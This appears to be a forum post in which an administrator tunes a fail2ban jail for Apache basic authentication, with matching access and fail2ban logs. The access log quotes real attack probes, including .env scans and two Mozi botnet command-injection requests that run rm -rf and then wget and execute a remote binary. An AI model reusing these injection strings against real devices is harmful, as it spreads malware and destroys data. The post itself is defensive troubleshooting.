Thanks for pointing that out, I have settings in [DEFAULT] and then in the [apache-auth] jail.
I quoted the jail, not the defaults, which had been mentioned somewhere else on the net.
My jail now has a findtime of 10m, bantime of 12h and a maxretry of 5.
In other words, if someone fails basic authentication 5 times within 10 minutes, they are banned for 12 hours.
I do not have authentication on my 'olde-distfiles' directory, but everything else requires basic authentication. Hence, there is no fail2ban log entry for this url as there is no login failure.
My only jail simply looks for 400 or 401 entries and has expressions which work with either error or access log format.
The two sample logs, below, are corresponding, you can see the rows in the access log and the corresponding row in the fail2ban log.
My access log looks like (prior to me updating my jail)
Code: Select all
193.56.29.108 - - [11/Jun/2021:03:44:06 +0930] "GET /.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "GET /core/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:08 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:09 +0930] "GET /app/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:10 +0930] "POST / HTTP/1.1" 401 445
49.89.16.119 - - [11/Jun/2021:04:26:55 +0930] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 401 445
62.210.88.212 - - [11/Jun/2021:04:28:53 +0930] "GET http://104.149.194.78:80/ HTTP/1.1" 401 445
121.4.181.178 - - [11/Jun/2021:05:18:06 +0930] "GET / HTTP/1.1" 401 459
203.159.170.16 - - [11/Jun/2021:05:34:26 +0930] "GET /assets/jquery-file-upload/ HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:05:35:33 +0930] "GET /cgi-bin/jarrewrite.sh" 404 255
189.127.145.184 - - [11/Jun/2021:05:38:16 +0930] "GET / HTTP/1.1" 401 445
161.35.136.97 - - [11/Jun/2021:06:16:08 +0930] "POST /fb16/fre.php HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:07:05:36 +0930] "POST /storfs-asup HTTP/1.1" 400 285
159.65.24.210 - - [11/Jun/2021:08:33:25 +0930] "GET / HTTP/1.1" 401 445
1.15.175.155 - - [11/Jun/2021:09:03:40 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:16 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:32 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 96230
188.150.66.117 - - [11/Jun/2021:09:09:40 +0930] "GET / HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:54 +0930] "GET /.env HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:55 +0930] "POST / HTTP/1.1" 401 445
27.213.172.153 - - [11/Jun/2021:09:39:21 +0930] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.213.172.153:59604/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 401 440
192.241.219.22 - - [11/Jun/2021:11:34:43 +0930] "GET / HTTP/1.1" 401 445
52.188.206.167 - - [11/Jun/2021:11:50:10 +0930] "HEAD /robots.txt HTTP/1.0" 401 -
185.202.2.147 - - [11/Jun/2021:12:16:16 +0930] "\x03" 400 285
180.242.19.234 - - [11/Jun/2021:13:18:18 +0930] "GET / HTTP/1.1" 401 445
188.244.218.206 - - [11/Jun/2021:13:52:05 +0930] "GET / HTTP/1.1" 401 445
157.230.224.245 - - [11/Jun/2021:15:18:45 +0930] "GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1" 401 445
193.118.53.202 - - [11/Jun/2021:15:58:08 +0930] "GET / HTTP/1.1" 401 445
18.184.155.204 - - [11/Jun/2021:16:46:05 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
18.184.155.204 - - [11/Jun/2021:16:46:06 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 2870030
My corresponding fail2ban log looks like (startup now, after tweaking jail settings)
Code: Select all
2021-06-11 17:10:23,912 fail2ban.server [32747]: INFO Starting Fail2ban v0.11.2
2021-06-11 17:10:23,912 fail2ban.server [32747]: INFO Daemon started
2021-06-11 17:10:23,912 fail2ban.observer [32747]: INFO Observer start...
2021-06-11 17:10:23,947 fail2ban.jail [32747]: INFO Creating new jail 'apache-auth'
2021-06-11 17:10:23,948 fail2ban.jail [32747]: INFO Jail 'apache-auth' uses poller {}
2021-06-11 17:10:23,948 fail2ban.jail [32747]: INFO Initiated 'polling' backend
2021-06-11 17:10:23,951 fail2ban.filter [32747]: INFO maxRetry: 5
2021-06-11 17:10:23,951 fail2ban.filter [32747]: INFO findtime: 600
2021-06-11 17:10:23,951 fail2ban.actions [32747]: INFO banTime: 43200
2021-06-11 17:10:23,951 fail2ban.filter [32747]: INFO encoding: UTF-8
2021-06-11 17:10:23,952 fail2ban.filter [32747]: INFO Added logfile: '/var/log/apache2/access_log' (pos = 0, hash = 408352de277690312d01ddba24fc2f7c300d330c)
2021-06-11 17:10:23,952 fail2ban.jail [32747]: INFO Jail 'apache-auth' started
snip
fail2ban logs with my old settings (findtime huge, bantime -1), just to show what I see when things get found.
Code: Select all
2021-06-11 03:44:06,671 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:06
2021-06-11 03:44:07,274 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:07,876 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:09,079 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:08
2021-06-11 03:44:09,682 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:09
2021-06-11 03:44:10,131 fail2ban.actions [23039]: NOTICE [apache-auth] Ban 193.56.29.108
2021-06-11 03:44:10,285 fail2ban.filter [23039]: INFO [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:10
2021-06-11 04:26:55,589 fail2ban.filter [23039]: INFO [apache-auth] Found 49.89.16.119 - 2021-06-11 04:26:55
2021-06-11 04:28:53,742 fail2ban.filter [23039]: INFO [apache-auth] Found 62.210.88.212 - 2021-06-11 04:28:53
2021-06-11 05:18:06,727 fail2ban.filter [23039]: INFO [apache-auth] Found 121.4.181.178 - 2021-06-11 05:18:06
2021-06-11 05:34:27,178 fail2ban.filter [23039]: INFO [apache-auth] Found 203.159.170.16 - 2021-06-11 05:34:26
2021-06-11 05:38:17,283 fail2ban.filter [23039]: INFO [apache-auth] Found 189.127.145.184 - 2021-06-11 05:38:16
2021-06-11 06:16:09,421 fail2ban.filter [23039]: INFO [apache-auth] Found 161.35.136.97 - 2021-06-11 06:16:08
2021-06-11 07:05:36,412 fail2ban.filter [23039]: INFO [apache-auth] Found 31.210.20.100 - 2021-06-11 07:05:36
2021-06-11 08:33:26,328 fail2ban.filter [23039]: INFO [apache-auth] Found 159.65.24.210 - 2021-06-11 08:33:25
2021-06-11 09:09:40,333 fail2ban.filter [23039]: INFO [apache-auth] Found 188.150.66.117 - 2021-06-11 09:09:40
2021-06-11 09:29:55,090 fail2ban.filter [23039]: INFO [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:54
2021-06-11 09:29:55,693 fail2ban.filter [23039]: INFO [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:55
2021-06-11 09:39:22,429 fail2ban.filter [23039]: INFO [apache-auth] Found 27.213.172.153 - 2021-06-11 09:39:21
2021-06-11 11:34:43,391 fail2ban.filter [23039]: INFO [apache-auth] Found 192.241.219.22 - 2021-06-11 11:34:43
2021-06-11 11:50:10,606 fail2ban.filter [23039]: INFO [apache-auth] Found 52.188.206.167 - 2021-06-11 11:50:10
2021-06-11 12:16:16,657 fail2ban.filter [23039]: INFO [apache-auth] Found 185.202.2.147 - 2021-06-11 12:16:16
2021-06-11 13:18:18,679 fail2ban.filter [23039]: INFO [apache-auth] Found 180.242.19.234 - 2021-06-11 13:18:18
2021-06-11 13:52:05,279 fail2ban.filter [23039]: INFO [apache-auth] Found 188.244.218.206 - 2021-06-11 13:52:05
2021-06-11 15:18:45,667 fail2ban.filter [23039]: INFO [apache-auth] Found 157.230.224.245 - 2021-06-11 15:18:45
2021-06-11 15:58:09,251 fail2ban.filter [23039]: INFO [apache-auth] Found 193.118.53.202 - 2021-06-11 15:58:08